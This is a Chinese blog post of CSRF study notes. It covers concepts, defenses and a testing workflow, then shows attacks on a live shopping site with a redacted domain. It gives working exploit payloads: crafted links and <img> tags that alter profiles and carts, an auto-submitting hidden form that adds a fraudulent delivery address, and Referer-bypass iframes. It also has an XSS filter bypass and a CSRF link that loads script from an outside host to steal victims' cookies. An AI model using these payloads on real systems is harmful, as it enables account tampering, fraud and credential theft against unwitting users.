CSRF 跨站請求偽造學習筆記

R0oKi3發表於2020-07-05

筆記

參考文章：

What-是什麼

CSRF（Cross-site request forgery）跨站請求偽造。攻擊者通過構造特殊連結或者頁面，盜用使用者身份，以合法名義完成一些非法勾當。
大致流程：

正常使用者訪問並登陸 A 網站
於此同時，正常使用者被攻擊者欺騙
- 第一種：訪問惡意網站
  惡意網站中存在著惡意程式碼，會向 A 網站發起請求，比如說轉賬，發表評論，釋出文章、關注使用者等等一些正常的操作。由於使用者已登入 A 網站儲存了 A 網站的 cookie，所以瀏覽器會帶著使用者的 cookie 去完成這些操作。
- 第二種：開啟惡意連結
  在 A 網站上的一些操作是通過 GET 請求的方式完成的，比如說關注使用者 www.xxx.com/like.php?target_user=xxx，攻擊者通過構造該連結然後將其傳送給受害使用者，並帶上一些迷惑性的話語，例如：免費看 VA 大片等，受害使用者出於好奇心的驅使，點選了該連結，瀏覽器便帶著使用者的 cookie 去完成關注操作，而使用者卻渾然不知，只是在心中默罵了一句：臥槽，說好的大片呢。
至此，一次 CSRF 攻擊已經完成。

Why-為什麼

怪就怪網站沒有做驗證，怪就怪瀏覽器記住了我的 cookie，怪就怪黑客說的話太誘人，怪就怪使用者好奇心太重

Where-在哪裡

購物類網站
- 新增/刪除購物車、收貨地址、訂單
- 關注店鋪
論壇類網站
- 關注博主
- 發表/刪除文章、評論
Jsonp劫持、CORS配置錯誤
使用者與伺服器互動之處

How-怎麼辦

GET 型別
- 構造連結傳送給使用者
- 構造 HTML 標籤
  <image>、<audio>、<video>、<object>、<script>
POST 型別
- 構造表單

Solutions-解決的辦法

驗證 HTTP Referer 欄位
在請求地址中新增 token 並驗證
驗證碼、、加密引數

Steps-測試流程

抓包，傳送到 Reperater 模組
go一下檢視正常請求的響應
檢查請求頭中的 Referer、Oringin 頭
- 沒有就過
- 有就刪除欄位再發包測試一下
檢查引數中是否有疑似 token 的欄位
- 沒有就過
- 有就刪除引數再發包測試一下
當刪除無法通過時，請看下面文章的 Advanced-提升 這個地方

Example-例項

例項測試某購物網站：

第一處雞肋個人資訊修改

點選儲存，抓包

傳送到 Reperater 模組後，GO一下，可以看到正常請求的響應為：
jQuery18307501563792125162_1593849507457({"isOk":true,"message":"\u4fee\u6539\u7528\u6237\u4fe1\u606f\u6210\u529f"})

觀察請求包，好傢伙，一來就是個 GET 型別的，可以看到在請求引數中並沒有疑似 token 欄位，於是下一步，刪除請求中的 Referer 頭後重新發包

可以看到響應包與之前沒有刪除 Referer 的響應包一樣，那麼基本上就可以判斷存在 CSRF 漏洞了
於是便可以構造

1.連結，其中將 realName 欄位修改為曹植(%E6%9B%B9%E6%A4%8D) 以便於檢視 CSRF 是否成功
https://user.xxx.com/member/profile/updateUserInfo?time=0.2890179829503331&callback=jQuery18309406894391708689_1593849181119&hideNickName=hahahahaha&nickName=hahahahaha&realName=%E6%9B%B9%E6%A4%8D&province=2&city=36&district=425&birthday_y=1911&birthday_m=02&birthday_d=02&sex=1&_=1593849189035

2.構造 HTML 標籤，插入到惡意VA網站等
<img src="https://user.xxx.com/member/profile/updateUserInfo?time=0.2890179829503331&callback=jQuery18309406894391708689_1593849181119&hideNickName=hahahahaha&nickName=hahahahaha&realName=%E6%9B%B9%E6%A4%8D&province=2&city=36&district=425&birthday_y=1911&birthday_m=02&birthday_d=02&sex=1&_=1593849189035">

模擬受害者點選該連結或者瀏覽包含該 HTML 程式碼的惡意網頁，可以看到個人使用者資訊中曹植已經篡位了，取代了曹操

第二處新增收貨地址（接下來的操作步驟會省略一點）

可以看到這裡既有 token 又有 YII_CSRF_TOKEN 還有 Referer ，可惜並沒有做驗證操作，刪除 Referer 頭跟 token、YII_CSRF_TOKEN 欄位即可
在嘗試完 POST 請求方式是否可以改成 GET 失敗之後，考慮構造 form 表單，這裡利用 BURP 的構造 POC 功能

簡單更改一下程式碼，弄成不需要使用者點選自動提交

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://user.xxx.com/member/Address/addAddress" method="POST" type="hidden" id='test'>
      <input type="hidden" name="consignee" value="�&#155;&#185;�&#164;&#141;" />
      <input type="hidden" name="province" value="2" />
      <input type="hidden" name="city" value="36" />
      <input type="hidden" name="zone" value="425" />
      <input type="hidden" name="detail&#95;address" value="�&#150;&#176;�&#164;&#167;�&#129;&#147;" />
      <input type="hidden" name="apply&#95;mobile" value="13888888888" />
      <input type="hidden" name="apply&#95;telpone" value="" />
      <input type="hidden" name="is&#95;employees" value="" />
      <input type="hidden" name="apply&#95;email" value="" />
      <input type="hidden" name="apply&#95;zipcode" value="" />
      <input type="hidden" name="identity&#95;card" value="" />
      <input type="hidden" name="identity&#95;frontpic" value="" />
      <input type="hidden" name="idCard&#95;frontpic" value="" />
      <input type="hidden" name="identity&#95;backpic" value="" />
      <input type="hidden" name="idCard&#95;backpic" value="" />
      <input type="hidden" name="defaultAddress" value="1" />
      <input type="hidden" name="address&#95;id" value="" />
    </form>
  </body>
    <script>document.getElementById("test").submit()</script>
</html>

OK，然後把頁面放到惡意網站上，誘使使用者點選
可以看到設定成了預設地址，萬一有個使用者沒注意，直接把東西發貨給我那豈不是美滋滋。嗯！牢飯真香

第三處新增商品到購物車

同第一處一樣，在新增商品到購物車是抓包，構造連結誘使使用者點開

1.構造連結
http:?/bgact.xxxx.com/cart/addGoodsToCartByAjax?callback=jQuery18308528674476772126_1593854859975&goodsInfo%5B0%5D%5BproductId%5D=633433&goodsInfo%5B0%5D%5BsizeCode%5D=46&goodsInfo%5B0%5D%5BcolorCode%5D=10&number=2&productType=1&channelCode=HQ01S116&extensionId=1&cartType=&_=1593854955451
2.構造 html 程式碼，插入到惡意VA網站等
<img src="https://bgact.xxxx.com/cart/addGoodsToCartByAjax?callback=jQuery18308528674476772126_1593854859975&goodsInfo%5B0%5D%5BproductId%5D=633433&goodsInfo%5B0%5D%5BsizeCode%5D=46&goodsInfo%5B0%5D%5BcolorCode%5D=10&number=2&productType=1&channelCode=HQ01S116&extensionId=1&cartType=&_=1593854955451">
這種應該算是捱得到灰黑產的邊吧，我也不清楚，沒做過

第四處刷贊

同第三處一樣，構造連結或者 HTML 誘使他人點選即可

其他不想找了
意外發現 XSS
jsonp 處的雙重 URL 編碼繞過
https://bgact.xxx.com/collection-product/addCollectionProduct?callback=%3Cimg/src/onerror=%2561lert%25281%2529%3E&goods_sn=661642&_=1593856460094
還有好多地方有 XSS，個人資訊、收貨地址都有

因為自己也是剛開始學，所以選了一個安全防護較弱的網站找的例子

Advanced-提升

Referer 問題
1. 未考慮 Referer 為空的情況
- 在網頁中新增<meta name="referrer" content="never">可置 Referer 為空
- 在通過跨協議發起請求時，傳送的http請求裡的Referer為空，ftp://、http://、https://、file://、javascript:、data:
  例如：
```
<iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'">
</iframe>
```
```
<html>
    <body>
        <iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
    </body>
</html>
```
1. 判斷 Referer 是否為本站某域
- 子域上找一個 XSS 漏洞
- 子域上找一個能插入 html 程式碼<a href='xxx.com'>、<img src='xxx.com'>等能發起請求的標籤
1. 判斷 Referer 是否存在某關鍵詞/某域名
例如要求 Referer 記憶體在存在 xxx.com 這個關鍵詞(一般就是要求包含主域名關鍵字)
- XSS
- 在惡意網站上新建一個xxx.com目錄，然後把存有造成 CSRF 的惡意程式碼的 html 檔案存放在 xxx.com 目錄,即可繞過
例如要求 Referer 以 xxx.com 開頭
- 惡意網站申請一個 xxx.com.eval.com 的子域名
注意：這裡的 XSS 並不是self-XSS
Token 問題
- 無效 token
  重複利用或者刪掉就好了
- 有效 token
  一般都是要結合 XSS 才行，利用條件苛刻，場景少。其實稍微想一下就可以知道，要得到 token，使用者就必須要到提交表單的頁面，而且這個表單頁面也必須要有 xss 漏洞，還得是黑客可控。再者即使這些條件都滿足，黑客想通過該 token 來提交表單的時候，萬一後端會驗證該 token，將其與對應表單提交的資料比如商品 id 什麼的做校驗，那麼該 token 的唯一作用便是提交該商品的訂單，而無法任意新增其他商品。再者，既然使用者都來到了提交該表單的頁面了，說明有意願是會提交該表單的，那我們拿到 token 相當於只能幫使用者自動提交表單。真好。

還是之前那個網站，個人資訊頁面暱稱處有個 self-XSS，打不到別人的 cookie，但是由於此處存在著 CSRF 漏洞，便可以結合 CSRF 與 XSS。

構造包含 XSS 程式碼的 CSRF 連結即可
https://user.xxx.com/member/profile/updateUserInfo?time=0.09009233029132824&callback=jQuery18309152739801311784_1593930781046&hideNickName=r0oki3&nickName=r0oki3%22%3E%3CsCRiPt+sRC%3D%2F%2Fxssye.com%2FTest%3E%3C%2FsCrIpT%3E%3C%22&realName=%E6%9B%B9%E6%A4%8D&province=2&city=36&district=425&birthday_y=1911&birthday_m=02&birthday_d=02&sex=1&_=1593930980030

誘導受害人點選即可在其個人資訊頁面新增 XSS 程式碼，一旦受害人點選檢視個人資訊，便可獲取 cookie 等資訊

XSS + CSRF （用處：批量給其他使用者造成 CSRF，針對的是所有訪問了包含該 XSS 內碼表面的使用者）

用於刷贊、修改密碼、惡意評論等等其他操作

Surprise-意外收穫

發現一個史詩級介面，有 jsonp 劫持，而且返回的內容也是極其的闊怕滴

沒見過這麼強的介面吧，密碼都給你返回了，解個 md5 明文密碼就出來了

小祕密：
部落格園關注使用者的地方也有 CSRF
不信你就點開看看傳送門
然後點開我的主頁，你就會發現，嘿嘿嘿

CSRF - 跨站請求偽造
2024-04-02
[Http] 跨站請求偽造（CSRF）
2024-10-07
HTTP
CSRF（跨站請求偽造）簡介
2018-08-13
CSRF跨站請求偽造漏洞分析
2022-02-16
l初識CSRF(跨站請求偽造）
2021-06-02
密碼學系列之:csrf跨站點請求偽造
2021-03-18
密碼學
跨站請求偽造（CSRF）攻擊原理及預防手段
2024-07-09
SpringSecurity原理解析以及CSRF跨站請求偽造攻擊
2022-03-07
SpringGse
Django csrf跨站請求偽造，校驗，CBV忽略與允許csrf校驗
2024-03-25
Django
Django中如何防範CSRF跨站點請求偽造攻擊
2018-05-29
Django
DVWA學習記錄系列（四）SCRF 跨站偽造請求模組
2020-10-17
CRF
08 CSRF偽造請求攻擊
2020-12-10
Django框架：13、csrf跨站請求偽造、auth認證模組及相關用法
2023-01-02
Django框架
Django框架之csrf跨站請求
2024-03-25
Django框架
什麼是CSRF跨站請求偽造？(from表單效驗csrf-ajdax效驗csrf-Ajax設定csrf-CBV裝飾器驗證csrf)
2022-03-20
Anchor CMS 0.12.7 跨站請求偽造漏洞（CVE-2020-23342）
2022-01-21
csrf解決Ajax請求跨站問題
2024-08-09
jenkins v2.229 版本，無法勾選 “跨站請求偽造保護”
2020-04-08
Jenkins
XSS CSRF 學習筆記
2020-07-27
筆記
Swoft 學習筆記之 request 請求
2019-08-12
筆記
SSRF 服務端請求偽造
2019-04-17
服務端
java 偽造http請求ip地址
2019-01-19
JavaHTTP
Django CBV裝飾器中介軟體 auth模組 CSRF跨站請求
2021-08-23
Django
.NET Core實戰專案之CMS 第十四章開發篇-防止跨站請求偽造
2021-09-09
伺服器端請求偽造(SSRF)簡介
2022-08-10
伺服器
hadoop 偽分散式模式學習筆記
2018-10-16
Hadoop分散式模式筆記
SpringMVC學習筆記6-指定處理請求型別
2020-11-25
SpringMVC筆記型別
CSRF&SSRF練習（自用筆記）
2024-03-13
筆記
Spring Cloud 學習筆記 ——Spring Cloud Config 請求失敗重試
2020-10-30
SpringCloud筆記
跨域請求
2018-11-04
跨域
Flutter 高效自學筆記（三）——網路請求
2019-05-30
Flutter筆記
「學習筆記」tarjan 求最近公共祖先
2023-04-30
筆記
vue跨域請求
2018-10-06
Vue跨域
CORS跨域請求
2019-05-06
CORS跨域
Filterpost請求中文字元編碼的過濾器 --學習筆記
2021-09-09
Filter字元過濾器筆記
學習之路 / handle請求
2021-11-19
允許跨域請求
2024-10-30
跨域
vue axios 請求跨域
2020-11-25
VueiOS跨域